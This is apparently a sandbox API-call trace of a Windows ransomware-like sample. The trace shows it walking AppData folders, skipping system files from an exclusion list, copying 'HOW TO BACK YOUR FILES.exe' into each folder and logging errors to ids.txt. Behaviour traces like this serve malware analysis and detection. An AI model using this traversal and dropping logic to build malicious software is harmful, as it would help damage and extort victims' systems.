	[0044.412] lstrcmpiW (lpString1="Microsoft", lpString2="boot") returned 1
	[0044.412] lstrcmpiW (lpString1="Microsoft", lpString2="ids.txt") returned 1
	[0044.412] lstrcmpiW (lpString1="Microsoft", lpString2="ntuser.dat") returned -1
	[0044.412] lstrcmpiW (lpString1="Microsoft", lpString2="perflogs") returned -1
	[0044.413] lstrcmpiW (lpString1="Microsoft", lpString2="MSBuild") returned -1
	[0044.413] lstrlenW (lpString="Microsoft") returned 9
	[0044.413] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\IconCache.db") returned 56
	[0044.413] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="Microsoft" | out: lpString1="Microsoft") returned="Microsoft"
	[0044.413] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c28
	[0044.413] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6c) returned 0x59a998
	[0044.413] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c30 | out: ListHead=0x5b76b0, ListEntry=0x5b7c30) returned 0x5b7ab0
	[0044.413] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe80ff230, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Help", cAlternateFileName="MICROS~2")) returned 1
	[0044.413] lstrcmpiW (lpString1="Microsoft Help", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0044.413] lstrcmpiW (lpString1="Microsoft Help", lpString2="Apollon865.txt.exe") returned 1
	[0044.413] lstrcmpiW (lpString1="Microsoft Help", lpString2=".") returned 1
	[0044.413] lstrcmpiW (lpString1="Microsoft Help", lpString2="..") returned 1
	[0044.413] lstrcmpiW (lpString1="Microsoft Help", lpString2="windows") returned -1
	[0044.413] lstrcmpiW (lpString1="Microsoft Help", lpString2="bootmgr") returned 1
	[0044.413] lstrcmpiW (lpString1="Microsoft Help", lpString2="temp") returned -1
	[0044.413] lstrcmpiW (lpString1="Microsoft Help", lpString2="pagefile.sys") returned -1
	[0044.413] lstrcmpiW (lpString1="Microsoft Help", lpString2="boot") returned 1
	[0044.413] lstrcmpiW (lpString1="Microsoft Help", lpString2="ids.txt") returned 1
	[0044.413] lstrcmpiW (lpString1="Microsoft Help", lpString2="ntuser.dat") returned -1
	[0044.413] lstrcmpiW (lpString1="Microsoft Help", lpString2="perflogs") returned -1
	[0044.413] lstrcmpiW (lpString1="Microsoft Help", lpString2="MSBuild") returned -1
	[0044.413] lstrlenW (lpString="Microsoft Help") returned 14
	[0044.413] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft") returned 53
	[0044.413] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="Microsoft Help" | out: lpString1="Microsoft Help") returned="Microsoft Help"
	[0044.413] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ac8
	[0044.413] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x76) returned 0x591640
	[0044.413] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ad0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ad0) returned 0x5b7c30
	[0044.413] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7314c10, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7314c10, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mozilla", cAlternateFileName="")) returned 1
	[0044.413] lstrcmpiW (lpString1="Mozilla", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0044.413] lstrcmpiW (lpString1="Mozilla", lpString2="Apollon865.txt.exe") returned 1
	[0044.413] lstrcmpiW (lpString1="Mozilla", lpString2=".") returned 1
	[0044.413] lstrcmpiW (lpString1="Mozilla", lpString2="..") returned 1
	[0044.413] lstrcmpiW (lpString1="Mozilla", lpString2="windows") returned -1
	[0044.414] lstrcmpiW (lpString1="Mozilla", lpString2="bootmgr") returned 1
	[0044.414] lstrcmpiW (lpString1="Mozilla", lpString2="temp") returned -1
	[0044.414] lstrcmpiW (lpString1="Mozilla", lpString2="pagefile.sys") returned -1
	[0044.414] lstrcmpiW (lpString1="Mozilla", lpString2="boot") returned 1
	[0044.414] lstrcmpiW (lpString1="Mozilla", lpString2="ids.txt") returned 1
	[0044.414] lstrcmpiW (lpString1="Mozilla", lpString2="ntuser.dat") returned -1
	[0044.414] lstrcmpiW (lpString1="Mozilla", lpString2="perflogs") returned -1
	[0044.414] lstrcmpiW (lpString1="Mozilla", lpString2="MSBuild") returned -1
	[0044.414] lstrlenW (lpString="Mozilla") returned 7
	[0044.414] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft Help") returned 58
	[0044.414] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="Mozilla" | out: lpString1="Mozilla") returned="Mozilla"
	[0044.414] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7be8
	[0044.414] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x68) returned 0x599d28
	[0044.414] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7bf0 | out: ListHead=0x5b76b0, ListEntry=0x5b7bf0) returned 0x5b7ad0
	[0044.414] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28536840, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x28536840, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1
	[0044.414] lstrcmpiW (lpString1="Temp", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0044.414] lstrcmpiW (lpString1="Temp", lpString2="Apollon865.txt.exe") returned 1
	[0044.414] lstrcmpiW (lpString1="Temp", lpString2=".") returned 1
	[0044.414] lstrcmpiW (lpString1="Temp", lpString2="..") returned 1
	[0044.414] lstrcmpiW (lpString1="Temp", lpString2="windows") returned -1
	[0044.414] lstrcmpiW (lpString1="Temp", lpString2="bootmgr") returned 1
	[0044.414] lstrcmpiW (lpString1="Temp", lpString2="temp") returned 0
	[0044.414] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29175f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29175f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29175f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1
	[0044.414] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0044.414] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="Apollon865.txt.exe") returned 1
	[0044.414] lstrcmpiW (lpString1="Temporary Internet Files", lpString2=".") returned 1
	[0044.414] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="..") returned 1
	[0044.414] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="windows") returned -1
	[0044.414] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="bootmgr") returned 1
	[0044.414] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="temp") returned 1
	[0044.414] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="pagefile.sys") returned 1
	[0044.414] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="boot") returned 1
	[0044.415] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="ids.txt") returned 1
	[0044.415] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="ntuser.dat") returned 1
	[0044.415] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="perflogs") returned 1
	[0044.415] lstrcmpiW (lpString1="Temporary Internet Files", lpString2="MSBuild") returned 1
	[0044.415] lstrlenW (lpString="Temporary Internet Files") returned 24
	[0044.415] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla") returned 51
	[0044.415] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="Temporary Internet Files" | out: lpString1="Temporary Internet Files") returned="Temporary Internet Files"
	[0044.415] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0044.415] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x8a) returned 0x599f60
	[0044.415] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c50 | out: ListHead=0x5b76b0, ListEntry=0x5b7c50) returned 0x5b7bf0
	[0044.415] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ab32d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ab32d60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VirtualStore", cAlternateFileName="VIRTUA~1")) returned 1
	[0044.415] lstrcmpiW (lpString1="VirtualStore", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0044.415] lstrcmpiW (lpString1="VirtualStore", lpString2="Apollon865.txt.exe") returned 1
	[0044.415] lstrcmpiW (lpString1="VirtualStore", lpString2=".") returned 1
	[0044.415] lstrcmpiW (lpString1="VirtualStore", lpString2="..") returned 1
	[0044.415] lstrcmpiW (lpString1="VirtualStore", lpString2="windows") returned -1
	[0044.415] lstrcmpiW (lpString1="VirtualStore", lpString2="bootmgr") returned 1
	[0044.415] lstrcmpiW (lpString1="VirtualStore", lpString2="temp") returned 1
	[0044.415] lstrcmpiW (lpString1="VirtualStore", lpString2="pagefile.sys") returned 1
	[0044.415] lstrcmpiW (lpString1="VirtualStore", lpString2="boot") returned 1
	[0044.415] lstrcmpiW (lpString1="VirtualStore", lpString2="ids.txt") returned 1
	[0044.415] lstrcmpiW (lpString1="VirtualStore", lpString2="ntuser.dat") returned 1
	[0044.415] lstrcmpiW (lpString1="VirtualStore", lpString2="perflogs") returned 1
	[0044.415] lstrcmpiW (lpString1="VirtualStore", lpString2="MSBuild") returned 1
	[0044.415] lstrlenW (lpString="VirtualStore") returned 12
	[0044.415] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temporary Internet Files") returned 68
	[0044.415] lstrcpyW (in: lpString1=0x2d3e5a8, lpString2="VirtualStore" | out: lpString1="VirtualStore") returned="VirtualStore"
	[0044.415] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0044.415] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x72) returned 0x5916c0
	[0044.415] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7af0 | out: ListHead=0x5b76b0, ListEntry=0x5b7af0) returned 0x5b7c50
	[0044.415] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ab32d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ab32d60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VirtualStore", cAlternateFileName="VIRTUA~1")) returned 0
	[0044.415] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0044.415] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7af0
	[0044.416] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore"
	[0044.416] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5916c0 | out: hHeap=0x580000) returned 1
	[0044.416] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0044.416] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore") returned 56
	[0044.416] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore"
	[0044.416] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0044.416] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\virtualstore\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0044.419] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0044.419] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x328cde90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x328cde90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0044.420] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.420] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0044.420] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0044.420] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x328cde90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x328cde90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0044.420] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.420] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0044.420] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0044.420] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0044.420] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x328cde90, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x328cde90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0044.420] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0044.420] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x328cde90, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x328cde90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0044.420] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0044.420] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c50
	[0044.420] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temporary Internet Files", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temporary Internet Files") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temporary Internet Files"
	[0044.420] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599f60 | out: hHeap=0x580000) returned 1
	[0044.420] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0044.420] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temporary Internet Files") returned 68
	[0044.420] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temporary Internet Files" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temporary Internet Files") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temporary Internet Files"
	[0044.420] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0044.420] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temporary Internet Files\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temporary internet files\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0044.424] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0044.424] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temporary Internet Files\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x328cde90, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x328cde90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0xffffffff
	[0044.424] GetLastError () returned 0x5
	[0044.424] wsprintfA (in: param_1=0x2d3f538, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temporary Internet Files\\* FindFirstFile error 5\r\n") returned 102
	[0044.424] lstrlenA (lpString="[ERROR] C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temporary Internet Files\\* FindFirstFile error 5\r\n") returned 102
	[0044.424] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0044.424] SetFilePointer (in: hFile=0x15c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1300
	[0044.424] WriteFile (in: hFile=0x15c, lpBuffer=0x2d3f538*, nNumberOfBytesToWrite=0x66, lpNumberOfBytesWritten=0x2d3e204, lpOverlapped=0x0 | out: lpBuffer=0x2d3f538*, lpNumberOfBytesWritten=0x2d3e204*=0x66, lpOverlapped=0x0) returned 1
	[0044.424] CloseHandle (hObject=0x15c) returned 1
	[0044.425] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7bf0
	[0044.425] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla"
	[0044.425] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599d28 | out: hHeap=0x580000) returned 1
	[0044.425] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7be8 | out: hHeap=0x580000) returned 1
	[0044.425] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla") returned 51
	[0044.425] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla"
	[0044.425] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0044.425] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0044.440] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0044.440] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x328f3ff0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x328f3ff0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0044.440] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.440] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0044.440] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0044.440] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x328f3ff0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x328f3ff0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0044.440] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.440] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0044.440] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0044.440] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0044.440] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Firefox", cAlternateFileName="")) returned 1
	[0044.440] lstrcmpiW (lpString1="Firefox", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.440] lstrcmpiW (lpString1="Firefox", lpString2="Apollon865.txt.exe") returned 1
	[0044.440] lstrcmpiW (lpString1="Firefox", lpString2=".") returned 1
	[0044.440] lstrcmpiW (lpString1="Firefox", lpString2="..") returned 1
	[0044.440] lstrcmpiW (lpString1="Firefox", lpString2="windows") returned -1
	[0044.441] lstrcmpiW (lpString1="Firefox", lpString2="bootmgr") returned 1
	[0044.441] lstrcmpiW (lpString1="Firefox", lpString2="temp") returned -1
	[0044.441] lstrcmpiW (lpString1="Firefox", lpString2="pagefile.sys") returned -1
	[0044.441] lstrcmpiW (lpString1="Firefox", lpString2="boot") returned 1
	[0044.441] lstrcmpiW (lpString1="Firefox", lpString2="ids.txt") returned -1
	[0044.441] lstrcmpiW (lpString1="Firefox", lpString2="ntuser.dat") returned -1
	[0044.441] lstrcmpiW (lpString1="Firefox", lpString2="perflogs") returned -1
	[0044.441] lstrcmpiW (lpString1="Firefox", lpString2="MSBuild") returned -1
	[0044.441] lstrlenW (lpString="Firefox") returned 7
	[0044.441] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\*") returned 53
	[0044.441] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="Firefox" | out: lpString1="Firefox") returned="Firefox"
	[0044.441] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7be8
	[0044.441] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x78) returned 0x5916c0
	[0044.441] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7bf0 | out: ListHead=0x5b76b0, ListEntry=0x5b7bf0) returned 0x5b7ad0
